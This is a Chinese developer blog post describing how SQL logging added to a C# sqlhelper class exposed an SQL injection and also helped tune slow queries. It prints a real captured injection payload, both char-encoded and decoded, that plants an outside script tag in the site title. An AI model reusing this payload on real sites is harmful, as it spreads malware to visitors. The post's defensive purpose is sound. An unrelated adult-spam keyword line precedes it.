欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

記一次成功的sql注入入侵檢測(cè)附帶sql性能優(yōu)化

 更新時(shí)間:2011年09月25日 23:24:55   投稿:mdxy-dxy  
很多同學(xué)和園友都遇到過(guò)sql注入的,其中大部分都是代碼的不嚴(yán)謹(jǐn)造成的,都是犯過(guò)很多錯(cuò)誤才學(xué)會(huì)認(rèn)真起來(lái)

但是如果是讓你接手一個(gè)二等殘廢的網(wǎng)站,并讓你在上面改版,而且不能推翻式改版,只能逐步替換舊的程序,那么你會(huì)非常痛苦,例如我遇到的問(wèn)題:
問(wèn)題1.
老板對(duì)你說(shuō),以前剛做完網(wǎng)站好好了,沒(méi)有出現(xiàn)木馬,怎么你來(lái)了,就會(huì)出現(xiàn)木馬,先別說(shuō)了,趕緊解決問(wèn)題,我徹底無(wú)語(yǔ),但是如果爭(zhēng)吵,其實(shí)證明你和老板一樣無(wú)知,拿出證據(jù)和事實(shí)分析來(lái)讓公司其他稍微懂技術(shù)的一起來(lái)證明,公司網(wǎng)站被掛馬不是你來(lái)了的錯(cuò)。
如是我通過(guò)網(wǎng)站目錄仔細(xì)排查將通過(guò)fck上傳的網(wǎng)馬刪除并修補(bǔ)fck的上傳漏洞并記下了這篇 Fckeditor使用筆記 ,其實(shí)很多人都遇到過(guò),也解決過(guò),都是小問(wèn)題,但是讓你老板明白比解決漏洞問(wèn)題更疼,我那解釋的叫一個(gè)汗啊,恨不得把公司所有稍微懂點(diǎn)技術(shù)的都叫上讓他們看什么是大馬什么是小馬,然后演示怎么上傳木馬,奶奶的,黑客教程普及啊。
問(wèn)題2.
網(wǎng)站又出現(xiàn)問(wèn)題,上次的問(wèn)題解決了不過(guò)兩個(gè)月,網(wǎng)站又被入侵掛馬,如是老板這次再說(shuō)因?yàn)槲襾?lái)了才出問(wèn)題,立馬走人,這就是為什么不能更不懂技術(shù)的人硬碰硬,更不能和你的老板來(lái)說(shuō),說(shuō)了你又不懂。
但是要命的是網(wǎng)站是以前的技術(shù)開(kāi)發(fā)的二等殘廢,在別個(gè)的cms上修改的,我必須保證網(wǎng)站在的開(kāi)發(fā)的同時(shí)舊的模塊還可以使用,通過(guò)逐步更新的方法將網(wǎng)站底層翻新,但是那么多頁(yè)面,你很難一個(gè)一個(gè)去檢測(cè)那個(gè)頁(yè)面有漏洞,如是寫(xiě)出下面的檢測(cè)代碼,沒(méi)想到這么簡(jiǎn)單的就搞定了,并且可以通過(guò)此方法優(yōu)化你的sql。
第一步建立一個(gè)sql日志表

復(fù)制代碼 代碼如下:

CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

記錄sql語(yǔ)句、此sql語(yǔ)句被執(zhí)行次數(shù),參數(shù)及值,記錄開(kāi)始時(shí)間,結(jié)束時(shí)間,來(lái)自哪個(gè)頁(yè)面,ip和此條語(yǔ)句執(zhí)行時(shí)間(暫時(shí)沒(méi)用)
第二步在sqlhelper里寫(xiě)記錄代碼
兩個(gè)方法本來(lái)可以寫(xiě)成private的,但是此二等殘廢的網(wǎng)站其他地方用的別的sqlhelper類(lèi),就直接調(diào)用此處通過(guò)合理優(yōu)化的sqlhelper類(lèi)的方法了。
代碼1:插入日志
復(fù)制代碼 代碼如下:

public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region 參數(shù)處理
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// 執(zhí)行DbCommand命令,并返回結(jié)果.
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// 執(zhí)行DbCommand命令,并返回結(jié)果.
int retval = cmd.ExecuteNonQuery();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}

代碼2:判斷此條sql是否存在
復(fù)制代碼 代碼如下:

private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// 創(chuàng)建并打開(kāi)數(shù)據(jù)庫(kù)連接對(duì)象,操作完成釋放對(duì)象.
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// 執(zhí)行DbCommand命令,并返回結(jié)果.
object retval = cmd.ExecuteScalar();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}

第三部在你的每個(gè)執(zhí)行sql語(yǔ)句的方法里加入以下代碼,不管是ExecuteScalar、ExecuteReader還是ExecuteNonQuery等等都加上
復(fù)制代碼 代碼如下:

//執(zhí)行sql之前進(jìn)行日志記錄操縱
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

代碼示例:
復(fù)制代碼 代碼如下:

public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
//執(zhí)行sql之前進(jìn)行日志記錄操縱
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// 執(zhí)行DbCommand命令,并返回結(jié)果.
object retval = cmd.ExecuteScalar();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}

然后你會(huì)發(fā)現(xiàn)入侵的入口被記錄下來(lái)了,后面方框里的就是構(gòu)造注入的sql

構(gòu)造sql如下:

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
轉(zhuǎn)碼后變成這樣了:  

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://jb51.net/ur.php></script>')
這個(gè)就是木馬地址,沒(méi)事你就別點(diǎn)了,好奇害死貓。

小結(jié):
既然知道入口就知道怎么補(bǔ)救了吧,把string類(lèi)型該過(guò)濾的都過(guò)濾掉,int類(lèi)型的就得是int類(lèi)型,別讓數(shù)據(jù)庫(kù)替你隱式轉(zhuǎn)。通過(guò)此sql日志記錄,你應(yīng)該發(fā)現(xiàn)一點(diǎn)那個(gè)hit還是有點(diǎn)價(jià)值的。
通過(guò)select top 100 * from my_sqllog order by hit desc
你會(huì)發(fā)現(xiàn)你寫(xiě)的那么多sql原來(lái)真垃圾,在條件允許的情況下干嘛不把它放到緩存里。所以后來(lái)我寫(xiě)的sql基本不在這top 100里。
拋磚引玉,望高手批評(píng),以上入侵方法希望剛學(xué)習(xí)做程序員的同學(xué)不要用來(lái)欺負(fù)小網(wǎng)站,傷不起。
作者:jqbird

相關(guān)文章

最新評(píng)論